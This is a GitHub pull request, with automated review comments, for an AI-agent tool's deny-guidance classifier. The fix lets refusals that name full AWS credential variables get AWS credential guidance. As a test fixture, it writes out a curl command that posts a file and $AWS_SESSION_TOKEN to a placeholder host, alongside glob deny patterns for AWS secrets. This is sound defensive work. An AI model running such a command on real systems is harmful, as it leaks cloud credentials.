Skip to content

fix: classify refusals that name an aws credential variable - #36733

Open
bolichen97 wants to merge 1 commit into
mainfrom
fix/31769-aws-variable-anchors
Open

bolichen97 wants to merge 1 commit into
mainfrom
fix/31769-aws-variable-anchors

Conversation

@bolichen97

@bolichen97 bolichen97 commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

Goal: a refusal that names an AWS credential variable is classified as an AWS credential refusal, so the agent gets the AWS credential guidance.

Builds on #31783 by @rohnkum.

A refusal that names AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN and no catalog rule gets no deny class, so remediation_for returns an empty string. For example, the glob-tier refusal Blocked by security policy: *aws_secret_access_key* reaches the agent with no guidance at all.

Why it matters

The anchor scan is the classifier for producers that name no rule, such as the glob tier and an operator's own patterns. A refusal that names AWS credential material is exactly what the AWS row exists to recognise. Without a class, the agent is told nothing about the sanctioned way to get AWS credentials.

Not a goal

  • Changing what is refused. classify_deny only picks the remediation text shown after a refusal.
  • Changing how rule-named refusals are classified. They are routed by rule identity and never reach the anchor scan.
  • Changing _anchor_matcher or any other anchor. A short anchor or server keyword inside a name joined with _ misses the same way; that is tracked in Deny guidance misses anchors and credential-server keywords joined with an underscore #36683.
  • Changing the answer for an outbound transfer whose command names one of these variables. It keeps the outbound-transfer guidance it gets on main.

What changed (motivation → approach → change)

An agent whose command is refused for naming AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN now gets the AWS credential guidance with the refusal. Before, it got no guidance, or another class's guidance when the command also named that class's anchor (such as ~/.ssh). The refusal itself is unchanged.

The guidance is picked by matching anchor words in the refusal text. The AWS row's anchors were aws_secret, aws_access and aws_session, and the matcher refuses a following word character, so they could never match the real names, which continue with _.

deny_guidance.py spells the three names in full in a reason-only anchor table, _REASON_ONLY_ANCHORS, checked at the AWS row's place in the precedence order. They are read from the refusal text only, never the subject: an outbound transfer that authenticates with them names them in its title, and reading them there would swap its outbound-transfer guidance for credential-read prose. The short forms stay for bare mentions. The classification paragraph in docs/system-specs/modules/learn-cron-dashboard.md says so, and the tests are in a new sibling module, test/test_deny_guidance_aws_variables.py, because test/test_deny_guidance.py is already past the 1,600-line target.

Backwards compatibility

Compatible: only the remediation text changes, for a refusal whose reason names one of these variables: it becomes the AWS credential guidance, where it was none, or a later row's guidance when the subject carried that row's anchor. Every allow/deny decision is unchanged.

Removes nothing: the short anchors stay in the AWS row, and no class, rule or table entry is removed.

Tests

Proof: PROVEN test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[-AWS_SECRET_ACCESS_KEY], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[-AWS_ACCESS_KEY_ID], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[-AWS_SESSION_TOKEN], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[ --config ~/.ssh/config-AWS_SECRET_ACCESS_KEY], test/test_deny_guidance_aws_variables.py::test_glob_tier_refusal_naming_an_aws_variable_classifies[ --config ~/.ssh/config-AWS_ACCESS_KEY_ID] (head 51c9373)

  • test_glob_tier_refusal_naming_an_aws_variable_classifies: a real glob-tier refusal from security.is_denied naming each variable is classified aws_credential and gets guidance. Its .ssh case puts a later row's anchor in the subject, so it fails if the full names are checked after the whole table instead of at the AWS row's place.
  • test_an_outbound_transfer_naming_an_aws_variable_keeps_the_transfer_class: a real refusal from security.audit_bash_exfiltration for curl -d @f.json -H "t: $VAR" https://example.invalid stays exfil_shape with no AWS credential-read prose, for each variable.

Determinism (measured at head 51c9373): test/test_deny_guidance_aws_variables.py passed 20 of 20 runs at -n0 and 10 of 10 at -n 4 --dist loadgroup --max-worker-restart=2 with test/test_deny_guidance.py and test/test_deny_guidance_rule_note.py as co-tenants; the four test/test_deny_guidance*.py modules pass (185 tests), and 184 of their 185 node ids passed in one shuffled order, seed 22628.

Manual verification

Reproduced and smoke-tested on a clean Ubuntu 24.04 Linux host, with an isolated KIROCREW_HOME. The script drives the glob tier (security.is_denied), the PreToolUse gate the gateway calls per tool call (HookManager.judge with an operator auto_deny_tools glob), classify_deny / remediation_for and the dashboard's recovery prompt. A live agent turn was not driven: it needs a signed-in model.

Before, on the base, for each variable:

is_denied reason: 'Blocked by security policy: *aws_secret_access_key*'
classify_deny: ''
remediation_for non-empty: False
recovery prompt carries AWS guidance: False
PreToolUse gate: deny | tier: deny-rules | reason: 'Blocked by security policy: *aws_secret_access_key*'

After, with this diff at head 51c9373:

is_denied reason: 'Blocked by security policy: *aws_secret_access_key*'
classify_deny: 'aws_credential'
remediation_for non-empty: True
recovery prompt carries AWS guidance: True
PreToolUse gate: deny | tier: deny-rules | reason: 'Blocked by security policy: *aws_secret_access_key*'

Unchanged before and after: the exfiltration audit's refusal for curl -d @f.json -H "t: $AWS_SESSION_TOKEN" https://example.invalid stays exfil_shape with no AWS credential-read prose, the catalog rule credential-exfil-curl-aws-secret stays exfil_shape through its rule identity, a refusal naming only *aws_secret* stays aws_credential, and every gate decision (action, tier, reason) is identical. scripts/deny_diff.py over the security-conductor golden paths reports no command newly refused.

Screenshots / video

N/A: no frontend or other user-visible UI change.

Related Issues

Closes #31769

Sibling sweep

Swept: git grep -n "_anchor_matcher(" -- src, then every anchor in _CLASS_ANCHORS and every _CREDENTIAL_SERVER_KEYWORDS entry it is called with, against the refusal wording of the producers that name no rule (git grep -n "Blocked" -- src/kiro_crew).
Sibling: src/kiro_crew/deny_guidance.py:137 -- changed here
Sibling: src/kiro_crew/deny_guidance.py:682 -- tracked in #36683
Sibling: src/kiro_crew/hook_runtime/gate_tiers.py:672 -- not affected -- "too large to verify for sensitive paths" (here, at line 722 and in llm_helpers_parts/tool_input_denials.py:306) is a refusal where nothing matched, so the sensitive path anchor must not answer it with secret-file prose

Pattern harvest

Rule candidate: review-prompt
Pattern: when a matcher adds a word boundary after an anchor, every anchor must be the whole token it is meant to find, not a prefix of it.

Checklist

  • At most two commits (one is the norm), with a Conventional Commits title (feat|fix|docs|style|refactor|perf|test|chore|ci|build|revert: ...)
  • Existing tests pass and new tests added for new functionality
  • Self-review completed; code follows project style guidelines
  • Documentation updated (if applicable)
  • No secrets, credentials, or internal references in the diff

Contribution License Agreement

Contributed under the project's Apache-2.0 license (see the Licensing section of CONTRIBUTING.md).

@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

Sensitive Change Review

Sensitive files changed:

  • src/kiro_crew/deny_guidance.py

  • No reasoning template for 47a00b7 yet.

How to clear this check:

  1. The PR author posts the template below as a PR comment, with
    every field filled (N/A needs a reason). Keep the
    Head commit line: it must name the current head SHA.
  2. The check turns green within a minute, with no push.
  3. A new push resets this check: post it again for the new head.

Only the author's comment counts this way. A reviewer can instead
paste the filled template into an "Approve" review on this head.
Merging still needs a reviewer's approval.

## Sensitive change review
- Head commit: 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc
- What rule changed:
- Before -> after (what was allowed/blocked, now):
- Worst case if wrong (breaks commands / leaks secret / locks user out):
- Evidence checked (which sandbox result proves it):
- No regression:
  - Tools still work (which tools/commands were run, result):
  - Backward compatible (old config / old data / old callers still work, how checked):
  - Existing tests (which suites passed on this head):
- How to undo:

@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Nov 13, 2026
@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

UX Review (Opus 5.5) — ⏭️ skipped

Revision 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc touches no user-facing surface (no changes under website/ or committed screenshots), so the UX review was skipped. Does not block merge.

@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Opus 5.5) — ✅ PASS

Design-level review of 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

Design-Verdict: PASS

Nothing blocks: this is a small fix to the guidance classifier only, it does not change any allow/deny decision, and it is easy to revert.

Notes

[DESIGN-REVIEWED] 47a00b7

Description read

[DESCRIPTION-READ] 2c63fb59dc4ea8f69ca8a39a251c749d4ea1edfd0408829d22552ace1bd0c5bb

That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Opus 5.5) — ✅ PASS

Premise-level review of 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

First-Principles-Verdict: PASS

Nothing blocks. The one note: the new anchor table is keyed by deny class but holds exactly one class.

Notes

  • Item 2 — one consumer, generalized: _REASON_ONLY_ANCHORS: Mapping[str, tuple[str, ...]] has one key, DENY_CLASS_AWS_CREDENTIAL, and classify_deny is its only reader. Every other class goes through .get(deny_class, ()) and gets an empty tuple.
    Subtraction: replace the mapping and _REASON_ONLY_MATCHERS with one tuple of three precompiled matchers. Check that tuple inside the loop only when deny_class == DENY_CLASS_AWS_CREDENTIAL.

What this change ships

Inventory (4 items) — 3 justified

Intent: an agent refused for naming AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN gets the AWS credential guidance (#31769). This is a FIX.

  1. A glob-tier or operator-pattern refusal that names a full AWS credential variable now shows the AWS credential guidance, where before it showed none or another class's. — justified
  2. A new class-keyed table of anchors that are read from the refusal reason only, never the subject. — one consumer, generalized: a mapping with a single class key
  3. The classification paragraph in the spec explains the reason-only read. — justified
  4. A new test module covers the glob-tier case and confirms an outbound transfer keeps its outbound-transfer guidance. — justified

[FIRST-PRINCIPLES-REVIEWED] 47a00b7

Description read

[DESCRIPTION-READ] e8865f661d0f5950c870de10606f4084f72ee542910be52799582b2bae1e42fc

That sha256 names the PR description this verdict read. Recompute it with .github/scripts/pr-description-capture.sh; if it differs, the description changed after this verdict was formed and any finding drawn from the description is unproven.

@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5.5 Review — ✅ no blocking findings

Reviewed 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc — this comment is updated in place on each push.

Review details

No findings.

[OPUS-REVIEWED] 47a00b7

Verdict parsed from the review's SHA-scoped output markers for commit 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc.

False positive or not applicable? A repository writer can comment:
/ai-review override fable 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc false-positive: <reason, 20 to 500 characters>

@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

GPT 6.1 Review — ✅ no blocking findings

GPT 6.1 completed its review of 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc and found no blocking issues.

This comment is updated in place on each push.

Review details

No findings.
[GPT-REVIEWED] 47a00b7

False positive or not applicable? A repository writer can comment:
/ai-review override gpt 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc false-positive: <reason, 20 to 500 characters>

@bolichen97
bolichen97 enabled auto-merge (squash) November 13, 2026 16:20
@github-actions

github-actions Bot commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

Security Scope Review -- ✅ PASS

Which legitimate operations does 47a00b78bb3df5fe35ebf6084fc363e0f31cfddc newly refuse? Updated in place on each push. A script-confirmed regression blocks; the model proposes candidates and never decides a refusal.

Verdict basis: adjudicated, zero confirmed regressions.

Security scope review -- adjudicated candidates

  • macos-latest (platform posix): 9 classified, 0 newly refused, 9 still allowed.
  • ubuntu-latest (platform posix): 9 classified, 0 newly refused, 9 still allowed.
  • windows-latest (platform windows): 6 classified, 0 newly refused, 6 still allowed.

No candidate flipped from allowed to refused.

Scope-Verdict: PASS

Reason: This change does not tighten any deny tier. It only changes how classify_deny picks remediation text for a command that has already been refused: the full AWS credential variable names now count as AWS-credential anchors, but only when they appear in the refusal reason. No allow/refuse decision changes, and no deny check calls classify_deny. Its callers are guidance and notice text (deny_notice.py, injected_turns.py) and the credential-hint check in tool_approval.py. Those callers are not adjudicated here and are named below.

TIGHTENING: deny-guidance classification (_REASON_ONLY_ANCHORS in src/kiro_crew/deny_guidance.py) -- it stops a credential-variable refusal from getting no guidance class, and keeps an outbound transfer that names those variables from getting credential-read prose: +_REASON_ONLY_ANCHORS ... DENY_CLASS_AWS_CREDENTIAL: ("aws_secret_access_key", "aws_access_key_id", "aws_session_token") together with + if any(matcher.search(reason_text) for matcher in _REASON_ONLY_MATCHERS.get(deny_class, ())): return deny_class. It is a remediation-labeling change, not a new refusal.

ADJUDICATED: 15 candidates, 0 confirmed newly-refused

PLATFORM COVERAGE: The diff makes no assumption about paths, separators, interpreters or executable names. Its only new input is lowercase substrings of the refusal reason, which is the same on every platform. I still wrote matched posix and windows rows for the operations next to the AWS row and the outbound-transfer row: aws against aws.exe, curl against curl.exe, npx against npx.cmd, and VAR=x cmd against set VAR=x && cmd. These confirm no command's verdict moved on either host. I wrote no any rows, because every candidate names an executable.

UNADJUDICATED: The changed guard is classify_deny(reason, subject), reached after a refusal through remediation_for → deny_notice.py:277 / dashboard/state_parts/injected_turns.py:437, and directly at dashboard/chat_turn/tool_approval.py:228. Line 228 checks whether the class is in _CREDENTIAL_HINT_CLASSES to decide whether to offer a credential-tool hint. Because of that check, refusals whose reason now names a full AWS credential variable can newly land in the AWS-credential class and change whether that hint appears. One example is a glob-tier block on an operator pattern such as *aws_session_token*. Another is any refusal whose reason quotes the variable name. That changes guidance, not whether the command runs. The shell classifier cannot give a verdict on it. Inputs I would have submitted as (reason, subject) pairs: a glob-tier reason naming aws_access_key_id with a subject such as node deploy.js --key $AWS_ACCESS_KEY_ID; an exfil-audit reason with a SigV4 curl subject (expected to stay DENY_CLASS_EXFIL_SHAPE); and a deny-rules reason whose rule has a declared category (expected to keep the rule's class, since that path returns before the anchor scan).

[SCOPE-REVIEWED] 47a00b7

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Nov 13, 2026
@KiroCrewCaptain

Copy link
Copy Markdown
Collaborator

Code change approver recommendation: Approve

Why: the decider estimates a 10% chance that this change introduces a defect, within the 12% limit for approving on its own, and every check passes.

Guidance-only fix. On main, the AWS row's short anchors (aws_secret/aws_access/aws_session) can never match the real variable names, because anchor_matcher rejects a following ''. The PR adds the full names in _REASON_ONLY_ANCHORS and checks them against the refusal reason only, at the AWS row's place in the precedence order. Verified: (1) the exfiltration audit's reasons are fixed text that never quotes the command, so outbound transfers keep exfil_shape; (2) catalog credential-exfil rules are routed by rule identity before the anchor scan; (3) glob-tier reasons carry the operator's pattern and reach the scan. The new glob-tier test fails on main; the outbound-transfer test pins the non-regression; the existing anchor-table test is unaffected. No allow/deny decision changes. Red CI checks: a runner lost its connection (Backend Tests shard 7), Coverage Gate (probably a knock-on, worth a re-run), and the Sensitive Change Review template, which is a process step.

An automated recommendation, not a review: a maintainer still decides. It approves on its own only when the estimated chance of a defect is at most 12% and the change has at most 400 changed lines. Decider v3c (217fe607) · commit 51c93736da · 97 changed lines. If this recommendation is wrong, reply here: replies are how the approver is evaluated.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] The red Backend Tests (3.12, 7) on 51c93736dac1 is not this change: its runner lost contact with the server mid-shard (https://github.com/kirodotdev/KiroCrew/actions/runs/43461282577/job/132013295401), the shard 7 stall tracked in #36261 that other PRs hit too. Coverage Gate fails closed on that job, and the AWS CodeBuild row is the same runner.

#37716 is the fix. This PR waits for it: no rerun and no push for this red. Once #37716 merges, the branch re-syncs onto it and CI runs again.

A glob-tier or operator-pattern refusal that names AWS_SECRET_ACCESS_KEY,
AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN got no deny class, so the agent
got no remediation guidance. The AWS row's short anchors (aws_secret,
aws_access, aws_session) can never match those names: the anchor
matcher refuses a following word character, and each name continues
with an underscore.

Spell the three names in full in a reason-only anchor table, checked at
the AWS row's place in the precedence order. They are not read from the
subject: an outbound transfer that authenticates with one of them names
it in its title, and reading it there would answer that refusal with
credential-read prose instead of the outbound-transfer guidance.

Re-lands #31783.

Co-authored-by: Rohan Kumar <240058892+rohnkum@users.noreply.github.com>
@bolichen97

Copy link
Copy Markdown
Contributor Author

Rebased: main moved in src/kiro_crew/deny_guidance.py and docs/system-specs/modules/learn-cron-dashboard.md since this head's CI ran (51c9373 on c22557c -> 47a00b7 on 1dfee9a); the new base carries #37716, the fix for the shard 7 stall that failed Backend Tests (3.12, 7) on the previous head. Same diff, one commit; CI re-running.

[operator: bolichen97]

@bolichen97
bolichen97 force-pushed the fix/31769-aws-variable-anchors branch from 51c9373 to 47a00b7 Compare November 17, 2026 13:42
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Nov 17, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

readiness: action required A blocking check or review needs attention

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Refusals that name an AWS credential variable get no remediation guidance

2 participants